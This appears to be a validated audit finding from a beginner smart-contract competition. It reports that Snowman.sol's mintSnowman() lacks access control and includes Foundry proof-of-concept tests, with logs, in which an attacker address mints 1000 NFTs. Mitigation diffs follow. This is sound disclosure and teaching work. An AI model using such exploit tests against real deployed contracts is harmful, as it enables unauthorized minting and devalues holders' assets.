Snowman Merkle Airdrop

AI First Flight #10
Beginner FriendlyFoundrySolidityNFT
EXP
View results
Submission Details
Severity: high
Valid

Snowman.sol::mintSnowman() has no access control - anyone can mint unlimited NFTs

Description (Root + Impact)

Description:
The mintSnowman() function in Snowman.sol is intended to be called only by the SnowmanAirdrop contract when users stake their Snow tokens. However, the function has no access control modifier, allowing anyone to call it directly and mint unlimited NFTs.
Impact:

  • Attackers can mint unlimited Snowman NFTs without staking any Snow tokens

  • The entire airdrop mechanism becomes worthless

  • Protocol economics are completely broken

  • Legitimate users who stake tokens get nothing of value since NFTs are infinitely inflated

Root Cause (Solidity box)

// @> In Snowman.sol:36-44, the mintSnowman function has NO access control
function mintSnowman(address receiver, uint256 amount) external {
// @> MISSING: onlyAirdropContract modifier or similar access control
for (uint256 i = 0; i < amount; i++) {
_safeMint(receiver, s_TokenCounter);
emit SnowmanMinted(receiver, s_TokenCounter);
s_TokenCounter++;
}
}

Risk

Likelihood:

  • Any external user can call mintSnowman() at any time

  • No special conditions or setup required - just a simple function call

  • Attack is trivially easy and costs only gas
    Impact:

  • Complete devaluation of Snowman NFTs

  • Protocol is unusable for its intended purpose

  • All staked Snow tokens become worthless as the reward (NFTs) has no scarcity

Proof of Concept (Solidity box)

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.24;
import {Test, console2} from "forge-std/Test.sol";
import {Snowman} from "../src/Snowman.sol";
import {DeploySnowman} from "../script/DeploySnowman.s.sol";
contract UnauthorizedMintPOC is Test {
Snowman nft;
function setUp() public {
DeploySnowman deployer = new DeploySnowman();
nft = deployer.run();
}
function testH03_UnauthorizedNFTMinting() public {
// Step 1: Create attacker address with no Snow tokens
address attacker = makeAddr("attacker");
// Step 2: Verify attacker has zero NFTs initially
uint256 initialBalance = nft.balanceOf(attacker);
assertEq(initialBalance, 0, "Attacker should have 0 NFTs initially");
console2.log("Initial attacker NFT balance:", initialBalance);
// Step 3: Attacker calls mintSnowman directly (NO tokens, NO proof, NO signature)
vm.prank(attacker);
nft.mintSnowman(attacker, 1000);
// Step 4: Verify attacker now has 1000 NFTs
uint256 finalBalance = nft.balanceOf(attacker);
assertEq(finalBalance, 1000, "Attacker should have 1000 NFTs");
console2.log("Final attacker NFT balance:", finalBalance);
// Step 5: Verify attacker owns specific token IDs
assertEq(nft.ownerOf(0), attacker, "Attacker owns token 0");
assertEq(nft.ownerOf(999), attacker, "Attacker owns token 999");
console2.log("EXPLOIT SUCCESSFUL: Attacker minted 1000 NFTs without authorization!");
}
}

Steps to reproduce:

  1. Deploy Snowman contract

  2. Create any EOA address (attacker)

  3. Call nft.mintSnowman(attacker, 1000) directly

  4. Attacker now owns 1000 NFTs without staking any Snow tokens
    Run command: forge test --match-test testH03_UnauthorizedNFTMinting -vvv

Recommended Mitigation (diff box)

contract Snowman is ERC721, Ownable {
+ error SM__NotAuthorized();
+
+ address private immutable i_airdropContract;
+
+ modifier onlyAirdrop() {
+ if (msg.sender != i_airdropContract) revert SM__NotAuthorized();
+ _;
+ }
- constructor(string memory _SnowmanSvgUri) ERC721("Snowman Airdrop", "SNOWMAN") Ownable(msg.sender) {
+ constructor(string memory _SnowmanSvgUri, address _airdropContract) ERC721("Snowman Airdrop", "SNOWMAN") Ownable(msg.sender) {
+ if (_airdropContract == address(0)) revert SM__ZeroAddress();
+ i_airdropContract = _airdropContract;
s_TokenCounter = 0;
s_SnowmanSvgUri = _SnowmanSvgUri;
}
- function mintSnowman(address receiver, uint256 amount) external {
+ function mintSnowman(address receiver, uint256 amount) external onlyAirdrop {
for (uint256 i = 0; i < amount; i++) {
_safeMint(receiver, s_TokenCounter);
emit SnowmanMinted(receiver, s_TokenCounter);
s_TokenCounter++;
}
}
}

Mitigation explanation:

  1. Add i_airdropContract immutable variable to store authorized caller

  2. Create onlyAirdrop modifier that reverts if msg.sender != i_airdropContract

  3. Apply modifier to mintSnowman() function

  4. Update constructor to accept and validate airdrop contract address

Updates

Lead Judging Commences

ai-first-flight-judge Lead Judge 10 days ago
Submission Judgement Published
Validated
Assigned finding tags:

[H-01] Unrestricted NFT Minting in Snowman.sol

# Root + Impact ## Description * The Snowman NFT contract is designed to mint NFTs through a controlled airdrop mechanism where only authorized entities should be able to create new tokens for eligible recipients. * The `mintSnowman()` function lacks any access control mechanisms, allowing any external address to call the function and mint unlimited NFTs to any recipient without authorization, completely bypassing the intended airdrop distribution model. ```Solidity // Root cause in the codebase function mintSnowman(address receiver, uint256 amount) external { @> // NO ACCESS CONTROL - Any address can call this function for (uint256 i = 0; i < amount; i++) { _safeMint(receiver, s_TokenCounter); emit SnowmanMinted(receiver, s_TokenCounter); s_TokenCounter++; } @> // NO VALIDATION - No checks on amount or caller authorization } ``` ## Risk **Likelihood**: * The vulnerability will be exploited as soon as any malicious actor discovers the contract address, since the function is publicly accessible with no restrictions * Automated scanning tools and MEV bots continuously monitor new contract deployments for exploitable functions, making discovery inevitable **Impact**: * Complete destruction of tokenomics through unlimited supply inflation, rendering all legitimate NFTs worthless * Total compromise of the airdrop mechanism, allowing attackers to mint millions of tokens and undermine the project's credibility and economic model ## Proof of Concept ```Solidity // SPDX-License-Identifier: MIT pragma solidity ^0.8.24; import {Test, console2} from "forge-std/Test.sol"; import {Snowman} from "../src/Snowman.sol"; contract SnowmanExploitPoC is Test { Snowman public snowman; address public attacker = makeAddr("attacker"); string constant SVG_URI = "data:image/svg+xml;base64,PHN2Zy4uLi4+"; function setUp() public { snowman = new Snowman(SVG_URI); } function testExploit_UnrestrictedMinting() public { console2.log("=== UNRESTRICTED MINTING EXPLOIT ==="); console2.log("Initial token counter:", snowman.getTokenCounter()); console2.log("Attacker balance before:", snowman.balanceOf(attacker)); // EXPLOIT: Anyone can mint unlimited NFTs vm.prank(attacker); snowman.mintSnowman(attacker, 1000); // Mint 1K NFTs console2.log("Final token counter:", snowman.getTokenCounter()); console2.log("Attacker balance after:", snowman.balanceOf(attacker)); // Verify exploit success assertEq(snowman.balanceOf(attacker), 1000); assertEq(snowman.getTokenCounter(), 1000); console2.log(" EXPLOIT SUCCESSFUL - Minted 1K NFTs without authorization"); } } ``` <br /> PoC Results: ```Solidity forge test --match-test testExploit_UnrestrictedMinting -vv [⠑] Compiling... [⠢] Compiling 1 files with Solc 0.8.29 [⠰] Solc 0.8.29 finished in 1.45s Compiler run successful! Ran 1 test for test/SnowmanExploitPoC.t.sol:SnowmanExploitPoC [PASS] testExploit_UnrestrictedMinting() (gas: 26868041) Logs: === UNRESTRICTED MINTING EXPLOIT === Initial token counter: 0 Attacker balance before: 0 Final token counter: 1000 Attacker balance after: 1000 EXPLOIT SUCCESSFUL - Minted 1K NFTs without authorization Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 4.28ms (3.58ms CPU time) Ran 1 test suite in 10.15ms (4.28ms CPU time): 1 tests passed, 0 failed, 0 skipped (1 total tests) ``` ## Recommended Mitigation Adding the `onlyOwner` modifier restricts the `mintSnowman()` function to only be callable by the contract owner, preventing unauthorized addresses from minting NFTs. ```diff - function mintSnowman(address receiver, uint256 amount) external { + function mintSnowman(address receiver, uint256 amount) external onlyOwner { for (uint256 i = 0; i < amount; i++) { _safeMint(receiver, s_TokenCounter); emit SnowmanMinted(receiver, s_TokenCounter); s_TokenCounter++; } } ```

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!